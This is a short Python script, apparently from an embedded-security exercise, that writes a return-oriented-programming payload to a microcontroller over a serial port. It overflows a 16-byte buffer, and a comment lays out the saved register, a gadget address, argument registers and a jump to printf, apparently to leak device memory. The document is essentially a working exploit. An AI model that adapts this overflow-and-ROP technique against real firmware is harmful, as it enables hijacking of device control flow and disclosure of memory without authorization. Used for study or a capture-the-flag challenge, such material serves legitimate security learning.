import struct
import serial
import time

s = serial.Serial('/dev/ttyACM0', 115200)

def slow_write(byte_array):
    for b in byte_array:
        b = b.to_bytes(1, byteorder='big')
        s.write(b)
        time.sleep(0.01)

# 16 bytes to fill the buffer, 4 bytes r7, pc (ROP gadget 1), r0, r1, pc (printf_), \r (end of input)
slow_write(b'ffffffffffffffffr7r7\x8d\x04\x00\x08\x78\x01\x00\x20\x00\x00\x00\x00\xd1\x51\x00\x08\r')
